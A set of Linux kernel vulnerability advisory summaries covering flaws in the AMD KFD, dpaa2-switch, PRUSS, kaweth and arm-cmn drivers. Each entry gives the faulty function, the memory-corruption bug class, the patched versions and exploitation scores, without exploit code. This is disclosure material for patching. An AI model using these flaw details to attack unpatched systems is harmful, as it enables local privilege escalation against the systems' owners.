Out-of-bounds kernel memory write in Linux kernel's AMD KFD (Kernel Fusion Driver) allows local authenticated attackers with low privileges to escalate to root privileges. The kfd_event_page_set() function performs unchecked memset operations of fixed size (KFD_SIGNAL_EVENT_LIMIT * 8 bytes) regardless of user-supplied buffer size, enabling unprivileged userspace processes to corrupt kernel memory. Patches are available across multiple stable kernel branches (5.10.252, 5.15.202, 6.1.165, 6.6.128, 6.12.75, 6.18.16, 6.19.6, 7.0). EPSS score of 0.02% (7th percentile) indicates low observed exploitation probability despite high CVSS severity, likely due to the local attack vector and requirement for systems with AMD GPU hardware running the amdkfd driver.
In the Linux kernel, the following vulnerability has been resolved: dpaa2-switch: validate num_ifs to prevent out-of-bounds write The driver obtains sw_attr.num_ifs from firmware via dpsw_get_attributes() but never validates it against DPSW_MAX_IF (64). This value controls iteration in dpaa2_switch_fdb_get_flood_cfg(), which writes port indices into the fixed-size cfg->if_id[DPSW_MAX_IF] array. When firmware reports num_ifs >= 64, the loop can write past the array bounds. Add a bound check for num_ifs in dpaa2_switch_init(). dpaa2_switch_fdb_get_flood_cfg() appends the control interface (port num_ifs) after all matched ports. When num_ifs == DPSW_MAX_IF and all ports match the flood filter, the loop fills all 64 slots and the control interface write overflows by one entry. The check uses >= because num_ifs == DPSW_MAX_IF is also functionally broken. build_if_id_bitmap() silently drops any ID >= 64: if (id[i] < DPSW_MAX_IF) bmap[id[i] / 64] |= ...
Double-free memory corruption in Linux kernel PRUSS (Programmable Real-Time Unit Subsystem) driver allows local authenticated attackers with low privileges to achieve high-impact code execution, information disclosure, or denial of service. The vulnerability exists in pruss_clk_mux_setup() where devm_add_action_or_reset() indirectly calls pruss_of_free_clk_provider() on error path, then erroneously calls of_node_put(clk_mux_np) again afterward. Vendor patches available across stable kernel branches (5.10.252, 5.15.202, 6.1.165, 6.6.128, 6.12.75, 6.18.16, 6.19.6, 7.0). EPSS score of 0.02% (7th percentile) indicates very low observed exploitation probability despite CVSS 7.8 rating; no KEV listing or public POC identified at time of analysis.
Double URB submission in Linux kernel kaweth USB network driver allows local attackers with low privileges to trigger high severity impacts including potential denial of service, information disclosure, or code execution. The flaw occurs when kaweth_set_rx_mode() prematurely re-enables the TX queue via netif_wake_queue() before an in-flight USB transfer completes, enabling kaweth_start_xmit() to submit the same URB twice - a condition explicitly warned against by the USB subsystem. Patches are available across all supported kernel branches (5.10.252, 5.15.202, 6.1.165, 6.6.128, 6.12.75, 6.18.16, 6.19.6, 7.0). Despite CVSS 7.8 High severity, EPSS score is only 0.02% (7th percentile), indicating low observed exploitation probability. No public exploit or CISA KEV listing identified at time of analysis.
Buffer overflow in Linux kernel's ARM CMN performance monitoring driver allows local attackers with low privileges to execute arbitrary code and gain elevated access. The perf/arm-cmn driver fails to validate hardware configuration parameters against assumed maximum sizes, enabling memory corruption through crafted CMN device configurations. While EPSS indicates low exploitation probability (0.02%), patches are available across all maintained kernel branches (6.1.165, 6.6.128, 6.12.75, 6.18.16, 6.19.6, 7.0) per vendor advisories. The local attack vector and requirement for low-privileged user access limit remote exploitation scenarios.